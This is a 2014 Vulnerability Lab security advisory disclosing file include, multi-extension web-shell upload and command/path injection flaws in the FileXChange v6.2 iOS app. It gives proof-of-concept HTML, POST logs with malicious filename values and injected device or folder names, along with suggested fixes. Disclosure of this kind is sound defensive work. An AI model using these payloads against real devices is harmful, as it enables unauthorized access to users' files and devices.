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iStArtApp FileXChange v6.2 iOS - Multiple Web Vulnerabilities
From: Vulnerability Lab <research () vulnerability-lab com>
Date: Fri, 28 Mar 2014 13:03:17 +0100

Document Title:
===============
iStArtApp FileXChange v6.2 iOS - Multiple Web Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1237


Release Date:
=============
2014-03-26


Vulnerability Laboratory ID (VL-ID):
====================================
1237


Common Vulnerability Scoring System:
====================================
7.4


Product & Service Introduction:
===============================
FileXChange is a handy file manager for iPhone, iPod Touch and iPad. With FileXChange, you can share files with Mac, 
Windows, Linux and other iOS devices, 
and use your iPhone, iPod Touch or iPad as a flash memory. With FileXChange, your iPhone, iPodTouch or iPad becomes a 
flash-memory drive. You can store files, 
open them on your device or on any MAC or PC, wirelessly, using a simple internet browser.

(Copy of the Homepage: https://itunes.apple.com/us/app/filexchange/id428955307 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered multiple high severity vulnerabilities in the official iStArtApp 
FileXChange v6.2 iOS mobile application.


Vulnerability Disclosure Timeline:
==================================
2014-03-26:     Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
iStArtApp
Product: FileXChange - iOS Mobile Web Application 6.2


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
1.1
A local file include web vulnerability has been discovered in the official iStArtApp FileXChange v6.2 iOS mobile 
web-application.
A file include web vulnerability allows remote attackers to unauthorized include local file/path requests or system 
specific path 
commands to compromise the web-application or mobile device.

The web vulnerability is located in the `filename` value of the `Upload a File` module. Remote attackers are able to 
inject own files with 
malicious `filename` value in the upload POST method request to compromise the mobile web-application. The attack 
vector is persistent and 
the request method is POST. The local file/path include execution occcurs in the main index file dir list. The security 
risk of the local 
file include web vulnerability is estimated as high(+) with a cvss (common vulnerability scoring system) count of 
7.5(+)|(-)7.6.

Exploitation of the local file include web vulnerability requires no user interaction but a privileged web-application 
user account with 
low user auth. Successful exploitation of the local file include web vulnerability results in mobile application or 
connected device 
component compromise.

Request Method(s):
                                [+] [POST]

Vulnerable Module(s):
                                [+] Upload a File > Submit

Vulnerable Parameter(s):
                                [+] filename

Affected Module(s):
                                [+] Index File Dir List (http://localhost:8888/)



1.2
An arbitrary file upload web vulnerability has been discovered in the official iStArtApp FileXChange v6.2 iOS mobile 
web-application.
The arbitrary file upload issue allows remote attackers to upload files with multiple extensions to bypass the 
web-server or system validation.

The vulnerability is located in the `Upload a File` module. Remote attackers are able to upload a php or js web-shells 
by renaming the file with 
multiple extensions to bypass the file restriction mechanism. The attacker uploads for example a web-shell with the 
following name and extension 
`test.txt.html.php.js.aspx.txt`. After the upload the attacker needs to open the file with the path value in the web 
application. He deletes the 
.txt file extension and can access the application with elevated executable access rights. The security risk of the 
arbitrary file upload web 
vulnerability is estimated as high(+) with a cvss (common vulnerability scoring system) count of 7.2(+)|(-)7.3.

Exploitation of the arbitrary file upload web vulnerability requires no user interaction or privileged application user 
account with password.
Successful exploitation of the vulnerability results in unauthorized file access because of a compromise after the 
upload of web-shells.

Request Method(s):
                                [+] [POST]

Vulnerable Module(s):
                                [+] Select File > Upload

Vulnerable Parameter(s):
                                [+] filename (multiple extensions)

Affected Module(s):
                                [+] Index File Dir List (http://localhost:8888/)



1.3
A local command/path injection web vulnerabilities has been discovered in the official iStArtApp FileXChange v6.2 iOS 
mobile web-application.
A command inject vulnerability allows attackers to inject local commands via vulnerable system values to compromise the 
apple mobile iOS application.

The vulnerability is located in the vulnerable `devicename` value of the wifi fapplication. Local attackers are able to 
inject own malicious 
system specific commands or path value requests via devicename value. The injection requires an active sync of the 
device information by new connections.
The execution of the local command inject via devicename value on sync occurs in the header loction of all interface 
sites. The security risk of the local 
command/path inject vulnerability is estimated as high(-) with a cvss (common vulnerability scoring system) count of 
5.7(+)|(-)5.8.

Exploitation of the command/path inject vulnerability requires a low privileged iOS device account with restricted 
access and no user interaction. 
Successful exploitation of the vulnerability results in unauthorized execution of system specific commands and 
unauthorized path value requests to 
compromise the mobile iOS application or the connected device components.

Request Method(s):
                                [+] Sync

Vulnerable Parameter(s):
                                [+] devicename

Affected Module(s):
                                [+] Index File Dir List (http://localhost:8888/x)
                                [+] All Interface Header Sites (http://localhost:8888/)



1.4
A local command/path injection web vulnerabilities has been discovered in the official iStArtApp FileXChange v6.2 iOS 
mobile web-application.
A command inject vulnerability allows attackers to inject local commands via vulnerable system values to compromise the 
apple mobile iOS application.

The vulnerability is located in the vulnerable `foldername` value of the wifi file dir list module. Local attackers are 
able to inject own malicious 
system specific commands or path value requests in the vulnerable foldername value. The injection requires an active 
sync with the wifi app stored folders.
The execution of the local command inject via foldername value on sync occurs in the file dir index list of the main 
upload path. The security risk of 
the local command/path inject vulnerability is estimated as high(-) with a cvss (common vulnerability scoring system) 
count of 5.6(+)|(-)5.7.

Exploitation of the command/path inject vulnerability requires a low privileged iOS device account with restricted 
access and no user interaction. 
Successful exploitation of the vulnerability results in unauthorized execution of system specific commands and 
unauthorized path value requests to 
compromise the mobile iOS application or the connected device components.

Request Method(s):
                                [+] Sync

Vulnerable Parameter(s):
                                [+] foldername (path value) 

Affected Module(s):
                                [+] Index File Dir List (http://localhost:8888/)
                                [+] Sub Folder/Category File Dir List (http://localhost:8888/)


Proof of Concept (PoC):
=======================
1.1
The local file include web vulnerability can be exploited by local attacker without user interaction or privileged 
application user account.
For security demonstration or to reproduce the local web vulnerability follow the provided information and steps below 
to continue.

PoC: Filename [Index]

<input name="chk1" type="checkbox"><img src="/tmp/trashCan.gif" align="absmiddle"> ...... 
<img src="/tmp/image.gif" align="absmiddle"> <a href="<[./[LOCAL FILE INCLUDE VULNERABILITY!]>.png]">./[LOCAL FILE 
INCLUDE VULNERABILITY!]>.png.png</a> -  0.5 Kb, 2014-03-24 12:01:44 <br />
</p><h3>To upload a file, select it and then press 'Submit':</h3><h3><label><input type="file" name="InvioFile" 
id="file" size="40"></label></h3><label><input type="submit" value="Submit" /></label><font size="2" color="white" </a 
font> <br /><br />
To delete a file or a folder, select its checkbox and press 'Submit'<br />Please note that you are allowed to delete 
one file at a time.</form></body></html></iframe></a></div>


--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://192.168.2.102:8888/Work/ Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[1749] 
Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[192.168.2.102:8888]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://192.168.2.102:8888/Work/]
      Connection[keep-alive]
   POST-Daten:
      POST_DATA[-----------------------------26958314732313
Content-Disposition: form-data; name="InvioFile"; filename="<./[LOCAL FILE INCLUDE VULNERABILITY!]>.png"
Content-Type: image/png





Status: 200[OK]
GET http://192.168.2.102:8888/Work/./[LOCAL FILE INCLUDE VULNERABILITY!]>.png Load Flags[LOAD_DOCUMENT_URI  ] Größe des 
Inhalts[1750] Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[192.168.2.102:8888]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://192.168.2.102:8888/Work/]
      Connection[keep-alive]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[1750]
      Date[Mo., 24 Mär. 2014 12:01:46 GMT]




1.2
The arbitrary file upload web vulnerability can be exploited by remote attackers without userinteraction or privileged 
application user account.
For security demonstration or to reproduce the local web vulnerability follow the provided information and steps below 
to continue.

PoC: Filename [Index] (extensions|access)

--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://192.168.2.102:8888/Work/ Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[1749] 
Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[192.168.2.102:8888]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://192.168.2.102:8888/Work/]
      Connection[keep-alive]
   POST-Daten:
      POST_DATA[-----------------------------26958314732313
Content-Disposition: form-data; name="InvioFile"; filename="test.png.html.php.js.aspx.png"
Content-Type: image/png





Status: 200[OK]
GET http://192.168.2.102:8888/Work/./[LOCAL FILE INCLUDE VULNERABILITY!]>.png Load Flags[LOAD_DOCUMENT_URI  ] Größe des 
Inhalts[1750] Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[192.168.2.102:8888]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://192.168.2.102:8888/Work/]
      Connection[keep-alive]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[1750]
      Date[Mo., 24 Mär. 2014 12:01:46 GMT]






1.3
The local command injection web vulnerability can be exploited by local attackers with physical device access 
privileges and without user interaction.
For security demonstration or to reproduce the local web vulnerability follow the provided information and steps below 
to continue.

PoC: Devicename [Header Location]

<div align="center"><a href="http://www.istartapp.com";><img src="/tmp/icon_75_stondata.gif" height="75" align="middel"> 
</a><h1>FileXChange</h1>
<h2>Device: IPhone 360*Â¥337><"><iframe src="a"> - SW: Ver 6.2</h2><div align="left"><h3>/Work/</h3><form action="" 
method="post" 
enctype="multipart/form-data" name="form1" id="form1"><p><div align="left"><h2><a href=".."><img 
src="/tmp/folder_up.gif" height="40" align="absbottom"/></a></h2>


1.4
The local command injection web vulnerability can be exploited by local attackers with physical device access 
privileges and without user interaction.
For security demonstration or to reproduce the local web vulnerability follow the provided information and steps below 
to continue.

PoC: Foldername CHK

 <a href="><"><./[LOCAL COMMAND INJECT VIA FOLDERNAME VALUE CHK]>/</a>          -      0.1 Kb, 2014-03-23 14:31:29 <br 
/>
<input type="checkbox" name="chk1" /><img src="/tmp/trashCan.gif"align="absmiddle"/> ...... <img 
src="tmp/folder.gif"align="absbottom"/> 
<a href="Pictures/">Pictures/</a>               -      0.1 Kb, 2014-03-23 14:31:29 <br />
<input type="checkbox" name="chk2" /><img src="/tmp/trashCan.gif"align="absmiddle"/> ...... <img 
src="tmp/folder.gif"align="absbottom"/> 
<a href="Work/">Work/</a>               -      0.1 Kb, 2014-03-24 11:58:33 <br />
</p><h3>To upload a file, select it and then press 'Submit':</h3><h3><label><input type="file" name="InvioFile" 
id="file" size="40"></label></h3>
<label><input type="submit" value="Submit" /></label><font size="2" color="white" </a font> <br /><br />To delete a 
file or a folder, 
select its checkbox and press 'Submit'<br />Please note that you are allowed to delete one file at a 
time.</form></body></html></iframe>


Solution - Fix & Patch:
=======================
1.1
The file include web vulnerability can be patched by a secure parse of the filename value in the POST method upload 
request.
Parse also the vulnerable index output listing with the filename value to prevent further execution of injected file 
requests or path values.

1.2
The arbitrary file upload web vulnerability can be patched by a secure encode and filter restriction of the filename 
value.
Disallow multiple extensions of files, encode and parse the filename again.

1.3
The local command injection web vulnerability can be patched by a secure parse and encode of the vulnerable device name 
info value.
Encode the sync input of the device name and setup a own secure classe to encode all output of device information 
values.


1.4
Parse and encode the foldername value in the add via sync POST method request. Prepare to encode and filter also the 
foldername oputput listing in the index- or sub-dir.


Security Risk:
==============
1.1
The security risk of the local file include web vulnerability is estimated as critical.

1.2
The security risk of the arbitrary file upload web vulnerability is estimated as high.

1.3
The security risk of the first command inject web vulnerability in the device name value  is estimated as high(-).

1.4
The security risk of the second command inject web vulnerability in the folder/path value via sync is estimated as high.


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm () evolution-sec com) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
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